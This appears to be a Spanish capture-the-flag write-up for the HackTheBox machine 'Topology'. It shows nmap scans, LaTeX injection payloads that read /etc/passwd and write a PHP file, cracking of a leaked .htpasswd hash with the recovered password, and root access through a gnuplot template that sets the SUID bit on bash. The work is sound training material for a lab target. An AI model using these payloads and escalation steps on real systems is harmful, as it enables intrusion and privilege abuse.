Topology es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Topology 10.10.11.217 a /etc/hosts como topology.htb y comenzamos con el escaneo de puertos nmap.
Empezamos con un escaneo simple y rápido que nos muestre los puertos abiertos
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -p- --open -sS --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.10.11.217 Nmap scan report for 10.10.11.217 Host is up, received reset ttl 63 (0.039s latency). Scanned at 2023-06-11 08:31:16 GMT for 12s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Jun 11 08:31:28 2023 -- 1 IP address (1 host up) scanned in 12.19 seconds |
Una vez detectados los puertos abiertos, lanzamos un escaneo más completo contra los mismos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.217 Nmap scan report for 10.10.11.217 Host is up (0.035s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA) | 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA) |_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Miskatonic University | Topology Group |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 11 08:31:59 2023 -- 1 IP address (1 host up) scanned in 18.65 seconds |
Enumeración
Descubiertos los puertos, accedemos al portal web del puerto 80 y vemos la siguiente página
Revisamos la página web y si bajamos un poco encontramos un enlace al dominio de latex.topology.htb, así que lo añadimos a nuestro fichero hosts y encontramos la siguiente página
El portal utiliza el software latex, un software de creación de documentos con una alta calidad tipográfica, y si buscamos en google encontramos un post sobre hacking en latex.
Visto esto, vamos a tratar de abusar del servicio, y conseguimos hacer un LFI sobre el fichero passwd con el siguiente payload
1 2 3 4 5 |
\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file |
Aunque sólo nos devuelve una línea, y si probamos a obtener todo el fichero o, a ejecutar otra serie de comandos, los mismos están prohibidos y nos salta continuamente el siguiente mensaje
Llegados a este punto, hacemos una serie de pruebas y conseguimos explotar el servicio añadiendo un fichero con código de php y leer el fichero passwd completo con el siguiente payload
1 2 3 |
\begin{filecontents}[overwrite]{kekma.php} <?php print_r(file_get_contents("/etc/passwd")); ?> \end{filecontents*} |
Y vemos como ha funcionado
Seguimos buscando por la aplicación y obtenemos unas credenciales en el fichero
1 |
/var/www/dev/.htpasswd |
Así que vamos a tratar de romperlas con john
1 2 3 4 5 6 7 8 9 10 11 |
$ john hash -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status calculus20 (vdaisley) 1g 0:00:00:06 DONE (2023-06-12 06:23) 0.1464g/s 145785p/s 145785c/s 145785C/s calebd1..caitlyn09 Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Obteniendo la flag de user
Con las claves obtenidas accedemos por ssh y cogemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ssh vdaisley@topology.htb The authenticity of host 'topology.htb (10.10.11.217)' can't be established. ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts. vdaisley@topology.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64) Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Sun Jun 11 21:50:33 2023 from 10.10.14.5 -bash-5.0$ id uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley) -bash-5.0$ -bash-5.0$ cat user.txt 00xxxxxxxxxxxxxxxxxxxxxxxxxx65 |
Escalado de privilegios
Ahora que ya estamos dentro procedemos con la enumeración y encontramos un proceso interesante
Encontramos un proceso lanzado por root que ejecuta gnuplot, un programa para generar gráficas de dos y tres dimensiones de funciones, datos y ajustes de datos, que ejecuta las plantillas plt existentes en la ruta /opt/gnuplot.
Revisamos dicho directorio y, aunque no podamos leer, sí que podemos escribir sobre el mismo
1 2 3 4 |
-bash-5.0$ ls -l total 4 drwx-wx-wx 2 root root 4096 Jun 11 22:00 gnuplot -bash-5.0$ |
Así que buscamos en google ejemplos de este tipo de plantillas y observamos en el siguiente post que también es posible ejecutar comandos del sistema
Por lo que vamos a crear nuestra plantilla que añada permisos de suid al binario de bash, quedando así
1 2 |
bash-5.0# cat /tmp/test.plt !chmod u+s /bin/bash |
Copiamos nuestra plantilla al directorio /opt/gnuplot y esperamos a que se vuelva a ejecutar.
Y si revisamos los permisos, ha funcionado
1 2 |
-bash-5.0$ ls -l /bin/bash -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
Así que escalamos a root
1 2 3 |
-bash-5.0$ bash -p bash-5.0# id uid=1007(vdaisley) gid=1007(vdaisley) euid=0(root) egid=0(root) groups=0(root),1007(vdaisley) |
Obteniendo la flag de root
Con permisos de root sólo nos queda coger la flag
1 2 |
bash-5.0# cat /root/root.txt 86xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc3 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace